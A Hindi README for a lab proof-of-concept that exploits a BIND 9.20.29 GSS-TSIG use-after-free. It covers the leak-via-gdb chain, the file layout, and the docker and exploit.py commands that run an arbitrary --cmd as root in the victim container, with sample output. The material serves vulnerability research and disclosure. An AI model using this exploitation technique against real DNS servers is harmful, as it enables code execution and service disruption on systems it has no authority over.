CVE-2026-94300 — PoC: लीक (docker logs) → मॉडल-RCE

नोट: यह विश्लेषण और PoC मुख्य रूप से AI सहायता ("AI patchwork") के साथ तैयार किए गए थे। प्रत्येक कोड, diff और मापन दावे को भरोसे पर लेने से पहले उद्धृत स्रोतों के विरुद्ध सत्यापित किया जाना चाहिए।

CVE-2026-94300 की शोषण श्रृंखला के लिए स्व-निहित PoC फ़ोल्डर (BIND 9.20.29 GSS-TSIG के साथ, krb5 1.20.1, jemalloc 5.3.0)।

यहाँ क्या सिद्ध है: एक लीक हुआ पता सेट (यहाँ gdb से) मापे गए प्रिमिटिव्स से named प्रक्रिया में कोड निष्पादन बनाने के लिए पर्याप्त है। एक्सप्लॉइट docker logs से लीक को उपभोग करता है; इसमें कोई पता शाब्दिक नहीं है।

यहाँ जो स्पष्ट रूप से एक मॉडल है (और रिपोर्ट में ऐसा ही कहा गया है):

धारणा	कारण
gdb से लीक	CVE में कोई info-leak प्रिमिटिव नहीं है; एक वास्तविक लीक को किसी अन्य बग से आना होगा
ASLR बंद (setarch -R)	लीक के बिना कोई heap/code पता नहीं है
gdb के माध्यम से इंजेक्ट किया गया ऑब्जेक्ट-सामग्री नियंत्रण	मुक्त 8-बाइट स्लॉट का पुनःदावा यहाँ जाँचे गए साधनों के साथ वास्तविक पथ में सफल नहीं हुआ (4.7M प्रयास, 0 हिट) — एक प्रलेखित बाधा, असंभवता का प्रमाण नहीं

कोई प्रदर्शित रिमोट RCE नहीं और कोई persistence नहीं। कमांड एक्सप्लॉइट पर --cmd के माध्यम से दिया जाता है: host/exploit.py इसे Docker नियंत्रण चैनल (docker exec, वही अधिकार जो ऑपरेटर के पास पहले से है) के माध्यम से कंटेनर में सौंपता है; एक्सप्लॉइट स्वयं केवल लीक किए गए पते और कैप्चर किया गया पैकेट भेजता है। पेलोड अतिरिक्त रूप से RCE-PROOF पंक्ति लिखता है (सत्यापन के लिए) और named को समाप्त करता है।

आर्किटेक्चर

sequenceDiagram
    participant R as Researcher (host)
    participant V as Container: named 9.20.29 + gdb
    participant L as docker logs
    R->>V: docker run -p 127.0.0.1:15353:53/udp
    V->>V: TKEY capture (no send), gdb breaks on dns_db_currentversion
    V->>L: LEAK: db=…, methods=…, heap=…, wire_b64=… (sha256)
    V->>V: model armed, waits for host replay
    R->>L: read docker logs + validate (11 checks)
    R->>V: docker exec: --cmd to /tmp/rce-payload-cmd
    R->>V: UDP replay of the leaked signed packet to 15353
    V->>V: krb5_k_free_key → free(db) → reclaim → fake dns_db_t
    V->>V: dns_db_currentversion → jmp *methods+0x30 → payload
    R->>V: docker exec cat /tmp/rce-proof

फ़ाइलें

पथ	उद्देश्य
docker/Dockerfile	विक्टिम इमेज: ISC tarball से BIND 9.20.29 + gdb + KDC + लैब ड्राइवर
etc/	krb5.conf, kdc.conf, named.conf, zone (इमेज द्वारा /etc में कॉपी किए जाते हैं)
host/exploit.py	होस्ट एक्सप्लॉइट: docker logs पढ़ता है, सत्यापन करता है, UDP पर रीप्ले करता है, मार्कर जाँचता है
lab/rce_victim.sh	कंटेनर-आंतरिक ड्राइवर: gdb के अंतर्गत named, भेजे बिना कैप्चर, लीक, प्रतीक्षा
lab/rce_model.py	gdb मॉडल: ब्रेकपॉइंट, लीक ब्लॉक, आर्मिंग, डिस्पैच अवलोकन
lab/rce_leak.py	लीक चरण: पते + wire_b64 → stdout/फ़ाइल
lab/rce_exploit.py	कंटेनर में एक्सप्लॉइट चरण: लीक से नकली ऑब्जेक्ट बनाता है, रिक्लेम, डिस्पैच
lab/rce_shim.c	फ़िक्स्ड-पेज शिम: नकली टेबल, नकली dns_db_t टेम्पलेट, पेलोड
lab/replay-lab.py	TKEY कैप्चर (--no-send)
lab/gss_context_lab.py	कैप्चर के लिए GSS कॉन्टेक्स्ट हेल्पर
lab/start.sh, lab/named.replay.conf	KDC/keytab/zone बूटस्ट्रैप, named कॉन्फ़िगरेशन
RACE.md	साझा GSS-TSIG कॉन्टेक्स्ट पर रेस की व्याख्या: साझाकरण, एक्सेस, ट्रिगर, मापन, स्कोपिंग
VERIFY.md	स्रोत diff 9.20.29 → 9.20.30 के विरुद्ध तीन दावों का सत्यापन (GSS-TSIG लॉकिंग, विनाशकारी keyring डंप, RCE स्कोपिंग)
EXPLOIT.md	कोड साक्ष्य और Mermaid के साथ एक्सप्लॉइट विवरण
USAGE.md	बिल्ड, रन, अपेक्षित आउटपुट, समस्या निवारण
ANAYLSE.md	प्रकाशन-योग्य डिस्क्लोज़र परिशिष्ट (प्रभाव समाधान DoS बनाम संभावित RCE, प्रभावित संस्करण, शमन, पहचान) — एक्सप्लॉइट प्रिमिटिव के बिना
ANALYZE.md	डिस्क्लोज़र परिशिष्ट का अंग्रेज़ी संस्करण

(यह फ़ाइल README.md है; अन्य PoC दस्तावेज़ भी RACE.md, VERIFY.md, EXPLOIT.md, USAGE.md के रूप में मौजूद हैं।)

पूर्वापेक्षाएँ

केवल Docker + इंटरनेट बिल्ड समय पर। इमेज BIND 9.20.29 को स्वयं आधिकारिक ISC tarball (https://downloads.isc.org/isc/bind9/9.20.29/bind-9.20.29.tar.xz, SHA-256 पिन किया गया) से बनाती है, --with-gssapi=yes के साथ, और gdb, MIT Kerberos KDC तथा लैब ड्राइवर इंस्टॉल करती है। किसी डिस्ट्रो BIND की, किसी पूर्व-निर्मित बेस इमेज की आवश्यकता नहीं।

इमेज में एक थ्रोअवे KDC पहचान [email protected] है (पासवर्ड attacker, realm EXAMPLE.TEST, KDC केवल कंटेनर में 127.0.0.1:88 पर) — केवल इस लैब के लिए, अन्य सर्वरों के विरुद्ध GSS-TSIG परीक्षणों के लिए नहीं; keytab को कंटेनर से बाहर न निकालें।

त्वरित शुरुआत

cd poc/CVE-2026-94300-poc
docker build -f docker/Dockerfile -t cve-2026-94300-victim .

# Terminal 1: container
docker run --rm --name cve-2026-94300-victim \
    -p 127.0.0.1:15353:53/udp \
    --security-opt seccomp=unconfined \
    cve-2026-94300-victim            # prints the LEAK block to stdout

# Terminal 2: exploit from the host, target + command as arguments
python3 host/exploit.py --ip 127.0.0.1 --port 15353 --cmd 'id > /tmp/bla'
docker exec cve-2026-94300-victim cat /tmp/bla      # uid=0(root) …

अपेक्षित (अंश):

LEAK: db=0x7ffff6901c00
LEAK: db_methods=0x7ffff7c497c0
LEAK: payload=0x7ffff7fbe37b
LEAK: wire_len=3907
HOST-EXPLOIT-VALIDATE OK checks=11
HOST-EXPLOIT-REPLAY target=127.0.0.1:15353 bytes=3907
RCE-DISPATCH-INDIRECT target=0x7ffff7fbe37b (rce_payload) match=YES
RCE-PAYLOAD-EXECUTED RCE-PROOF pid=… uid=0 euid=0 db=0x7ffff6901c00
HOST-EXPLOIT-VERDICT payload_executed=YES marker=YES

वर्गीकरण

सलाहकार वाक्य: ISC CVE-2026-94300 को रिमोट, High, CVSS 8.1 (AC:H) के रूप में रेट करता है, जिसमें संभावित कोड निष्पादन शामिल है। जो सार्वजनिक रूप से/पुनरुत्पादन योग्य रूप से स्थापित है वह साझा GSS-TSIG संदर्भ पर एक क्रेडेंशियल-रहित, रीप्ले-ट्रिगर मेमोरी करप्शन (use-after-free/double-free) है — DoS से हीप-करप्शन श्रेणी तक। कोड निष्पादन का मार्ग अब तक केवल डीबगर-सहायता प्राप्त मॉडल मान्यताओं के अंतर्गत दिखाया गया है (ASLR बंद, पते/ऑब्जेक्ट सामग्री इंजेक्ट की गई); कोई प्रदर्शित रिमोट RCE मौजूद नहीं है।

स्थापित: लीक दिए जाने पर, लक्ष्य प्रक्रिया में RCE अनुसरण करता है। स्थापित नहीं: बिना लीक और बिना gdb के रिमोट हमला — उसके लिए info-leak प्रिमिटिव और प्राप्त reclaim चरण अनुपस्थित हैं। यह बाधाओं का एक प्रलेखित समूह है, न कि असंभवता का प्रमाण; ISC कोड-निष्पादन श्रेणी को संभावित के रूप में वहन करता है। कोड आधार (सिंक्रोनाइज़ेशन बग, विनाशकारी डंप, पैच क्या ठीक करता है और क्या नहीं) को दोनों ट्री के diff के विरुद्ध VERIFY.md में जाँचा गया है; रेस तकनीकी रूप से कैसे काम करती है यह RACE.md में है। एक्सप्लॉइट विवरण और कोड साक्ष्य: EXPLOIT.md, निष्पादन और विकल्प: USAGE.md। प्रकाशन-योग्य प्रकटीकरण: ANALYZE.md।